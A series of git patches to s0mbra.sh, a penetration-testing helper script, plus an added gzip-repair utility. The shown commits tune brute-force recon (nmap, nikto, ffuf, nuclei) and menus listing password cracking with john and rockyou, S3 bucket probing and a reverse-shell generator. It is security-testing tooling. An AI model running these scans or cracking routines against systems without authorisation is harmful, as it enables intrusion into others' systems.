ztw)9@hV@GqFI=))N!aI97)^_e@_UmmuStG$T2Ie4ywD#pdgz7U(1utT`7@R_yFrF3awHa(Zq1;2RLddKbMroPk&8~(PG^ss52N%^TT zx^sWW7w!JyL5jqU^>(kcv)#YXvC#|XlOvNT#Ga(*8>|&h9D0$*@1pOxB4vdT6D^pAAm(xygIL7Rdm`N2m$|2&U12VM4Hu8wt@ zxwX92@(fnH%{hC(vo4zF!M_)cP3}90F6ZoT;xYWpV!M06el9JPd~dezTp#w8P1~!V z!XWj(ShJodf>^xRC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>rP3Q&Lo z6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u;Ev1TMQPx80?!fm_Lc<-t}e zJMKz(d#SS1()HmnEV!#}C-9x3yE^DzKV8Pxk0;lv4uofZ{fzUr*f%EA6zj(MgcSSQ7F%yF_Hk1& zNj_|gy$>(V=1Y~WgI&w=x#?1++R=4QKF(aN zAh*0;9hP~ric2@wYPA|taZzJ}gM^c{DsHT9)OuTyU+Zl*$GACmm}4i7W7i)!h++6r zt@pNM&)}doe?!$7DY*HI%;dw{&7Wi@pL%ZoAhXjl`xdiuDK+h#ai+5K)9*OxRHhFD z0#7C#s+d;h%o%4gmCw)l&RoIEJH4e2bv1fsvgoCJ&z!U0vL3}Pq&1H6U8;QNehQ;> z`9@uu%;kGm`SP_JJ!thwxWJJD6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun z0u-PC1t>rP3Q&Lo6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>s) zdn@o{@c+H{1>;~ao(smYV7#}xrP3Q&Lo6rcbFC_n)UP=Epy zpa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>rP3Q&Lo6rcbFC_n)UP=Epypa2CZKmiI+ zfCBfoK+hBEvOHl=LTg>}GhVS+P_Go#jYMW4m%&Oot<%{&*3}KkD@mp|pY;)z;+RiO zd;X*Z-4e_dyu1WQBq$WKd4Ebm$Ao2*C{@s6TD7SbJv)PH-elSL^o*C1+dMv-%H~yX z3v%|Uo9~)rRiC_x_)uJ_N$i_$Qx}=)+G>!=B@pF;*R3v^O z5|2dU^O3j}aT|I&`hIk56_26R0rb7jIZE$gpp8Mp8?od8cEDT*#zbiEcwt(bCA@~W KQ@)1{p#2YMI*(2O literal 0 HcmV?d00001 diff --git a/fixgz.cpp b/fixgz.cpp new file mode 100644 index 0000000..1e869c6 --- /dev/null +++ b/fixgz.cpp @@ -0,0 +1,52 @@ +/* fixgz attempts to fix a binary file transferred in ascii mode by + * removing each extra CR when it followed by LF. + * usage: fixgz bad.gz fixed.gz + + * Copyright 1998 Jean-loup Gailly + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the author be held liable for any damages + * arising from the use of this software. + + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely. + */ + +#include +#include + +int main(int argc, char* argv[]) +{ + int c1, c2; /* input bytes */ + FILE* in; /* corrupted input file */ + FILE* out; /* fixed output file */ + + if (argc <= 2) { + fprintf(stderr, "usage: fixgz bad.gz fixed.gz\n"); + exit(1); + } + in = fopen(argv[1], "rb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot open %s\n", argv[1]); + exit(1); + } + out = fopen(argv[2], "wb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot create %s\n", argv[2]); + exit(1); + } + + c1 = fgetc(in); + + while ((c2 = fgetc(in)) != EOF) { + if (c1 != '\r' || c2 != '\n') { + fputc(c1, out); + } + c1 = c2; + } + if (c1 != EOF) { + fputc(c1, out); + } + exit(0); + return 0; /* avoid warning */ +} \ No newline at end of file From 59b2d36475b7246e7c4b7b71f78c8207353eec55 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 14:16:36 +0000 Subject: [PATCH 064/289] [s0mbra] ransack refactoring - added proto param --- s0mbra.sh | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5d34d46..80b7dc4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -28,15 +28,15 @@ set_ip() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ..." - echo -e " ...search open ports...$CYAN" + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e " ...search open ports...$CLR" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -254,9 +254,13 @@ recon() { # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 - TMPDIR=$(pwd) + PROTO=$2 + rm -rf $(pwd)/s0mbra + mkdir -vp $(pwd)/s0mbra + TMPDIR=$(pwd)/s0mbra + START_TIME=$(date) - echo -e "$BLUE[+] Running bruteforce, dirty recon on $HOSTNAME : nmap + ffuf + nuclei...$CLR\n" + echo -e "$BLUE[+] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -264,18 +268,18 @@ ransack() { # nmap echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" - nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + nmap --top-ports 10000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME # nikto echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" - nikto -host https://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; END_TIME=$(date) echo -e "\n$GREEN[+] Finished!" @@ -505,7 +509,7 @@ case "$cmd" in recon "$2" ;; ransack) - ransack "$2" + ransack "$2" "$3" ;; kiterunner) kiterunner "$2" @@ -589,7 +593,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 634219e12a26cbe7b2146b9d14010a28c8f924b7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 21 Dec 2021 12:23:03 +0000 Subject: [PATCH 065/289] [s0mbra] ransack - HTTP/HTTPS proto optiona (HTTPS by default) --- s0mbra.sh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 80b7dc4..b756312 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -254,7 +254,13 @@ recon() { # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 - PROTO=$2 + + if [[ -z $2 ]]; then + PROTO='https' + else + PROTO=$2 + fi + rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -279,7 +285,7 @@ ransack() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log END_TIME=$(date) echo -e "\n$GREEN[+] Finished!" From 943649b863c3cdad627454794bf490daea6c52e4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 22 Dec 2021 16:11:53 +0000 Subject: [PATCH 066/289] [s0mbra] fix for colors in nmap_scan --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5d34d46..c348851 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -43,7 +43,6 @@ full_nmap_scan() { echo -e "$BLUE\n[+] Done! $CLR" } - # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then @@ -115,7 +114,6 @@ npm_scan() { echo -e "\n\n[+]Done." } - # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { From 7e2e9abe0385523d42674bfa5e6b5cd9e8517c0b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 23 Dec 2021 15:16:21 +0000 Subject: [PATCH 067/289] [s0mbra] usage update --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9331077..fc90a25 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -258,7 +258,7 @@ ransack() { else PROTO=$2 fi - + rm -rf $(pwd)/s0mbra mkdir -vp $(pwd)/s0mbra TMPDIR=$(pwd)/s0mbra @@ -623,7 +623,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN pysast $GRAY[DIR]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From c464aaa4cd4b033f9149748dd1794e77f73ea3e5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 23 Dec 2021 15:16:50 +0000 Subject: [PATCH 068/289] [s0mbra] formatting --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index fc90a25..96a3920 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -623,7 +623,7 @@ case "$cmd" in echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "\t$CYAN pysast $GRAY[DIR]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From bd0891fe767fb93e10435aff065dff834d1c7763 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Dec 2021 15:43:01 +0000 Subject: [PATCH 069/289] [s0mbra] remove/re-arrange options --- s0mbra.sh | 31 +++---------------------------- 1 file changed, 3 insertions(+), 28 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 96a3920..e88c4c9 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -101,18 +101,6 @@ ssh_to_john() { rockyou_john "$1".hash } -# static code analysis of npm module installed in ~/node_modules -# with nodestructor and semgrep -npm_scan() { - echo -e "$BLUE[+] Starting static code analysis of $1 module with nodestructor and semgrep...$CLR" - nodestructor -r ~/node_modules/"$1" --verbose --skip-test-files - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/*.js - exitcode=$(ls "$HOME"/node_modules/"$1"/*/ >/dev/null 2>&1) - if [ "$exitcode" == 0 ]; then - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/**/*.js - fi - echo -e "\n\n[+]Done." -} # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep @@ -122,12 +110,6 @@ snyktest() { echo -e "\n\n[+]Done." } -# static code analysis of single JavaScript code -javascript_sca() { - echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" - nodestructor --include-browser-patterns --include-urls "$1" - echo -e "\n\n[+]Done." -} # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { @@ -539,15 +521,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; - npm_scan) - npm_scan "$2" - ;; snyktest) snyktest ;; - javascript_sca) - javascript_sca "$2" - ;; dex_to_jar) dex_to_jar "$2" ;; @@ -618,12 +594,11 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "$BLUE:: RE ::$CLR" + echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From 3450a0c76a8c101d7548d0769239c5eb155e4274 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 26 Dec 2021 10:56:04 +0000 Subject: [PATCH 070/289] [s0mbra] um - unminify JS file --- s0mbra.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e88c4c9..699b751 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -101,6 +101,13 @@ ssh_to_john() { rockyou_john "$1".hash } +# runs unminify on $1 JavaScript file +um() { + FILENAME=$1 + echo -e "$BLUE[+] Unminify $FILENAME...$CLR" + unminify $FILENAME > unmimified.js + echo -e "\n\n[+]Done." +} # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep @@ -110,7 +117,6 @@ snyktest() { echo -e "\n\n[+]Done." } - # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { if [[ -z $2 ]]; then @@ -521,6 +527,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; + um) + um "$2" + ;; snyktest) snyktest ;; @@ -595,6 +604,7 @@ case "$cmd" in echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: SAST ::$CLR" + echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: RE ::$CLR" From f26ad840d2593b7464279a28c0e07dad64ed5f7b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 27 Dec 2021 15:26:56 +0000 Subject: [PATCH 071/289] [s0mbra] update recon() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 699b751..c106360 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -223,7 +223,7 @@ recon() { NAME=$(echo $url | cut -d'/' -f3) ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) From 3293c44d151b8d8f1031b77f33d5c65ea2a4ab67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 28 Dec 2021 12:20:40 +0000 Subject: [PATCH 072/289] [s0mbra] recon() improvements - added some options for subfinder --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c106360..151a7df 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -206,7 +206,7 @@ recon() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" From c2e35a2f5031e2eb3a381d53c0bb24def6eee031 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 29 Dec 2021 12:57:50 +0000 Subject: [PATCH 073/289] [s0mbra] menu improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 151a7df..8395c4c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -611,9 +611,9 @@ case "$cmd" in echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" From b94e38963bdb3e6888183a315eb1c44162140b27 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 30 Dec 2021 16:09:55 +0000 Subject: [PATCH 074/289] [s0mbra] menu improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8395c4c..22a434b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -588,9 +588,9 @@ case "$cmd" in echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$BLUE:: CLOUD ::$CLR" + echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From dc5d249980e69bc86e252c5418505d4812c69f9c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 4 Jan 2022 00:03:28 +0000 Subject: [PATCH 075/289] [s0mbra] improvements --- s0mbra.sh | 124 +++++++++++++++++++++++++++--------------------------- 1 file changed, 62 insertions(+), 62 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 22a434b..dca12dc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -28,37 +28,37 @@ set_ip() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e " ...search open ports...$CLR" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CYAN" + echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" nmap -p- $1 else - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CYAN" + echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" nmap --top-ports $2 $1 fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } # runs Python 3 built-in HTTP server on [PORT] http() { - echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + echo -e "$BLUE[s0mbra] Running Simple HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" @@ -74,7 +74,7 @@ http() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { - echo -e "$BLUE[+] Running john with rockyou dictionary against $1 of type $2$CLR" + echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" @@ -86,35 +86,35 @@ rockyou_john() 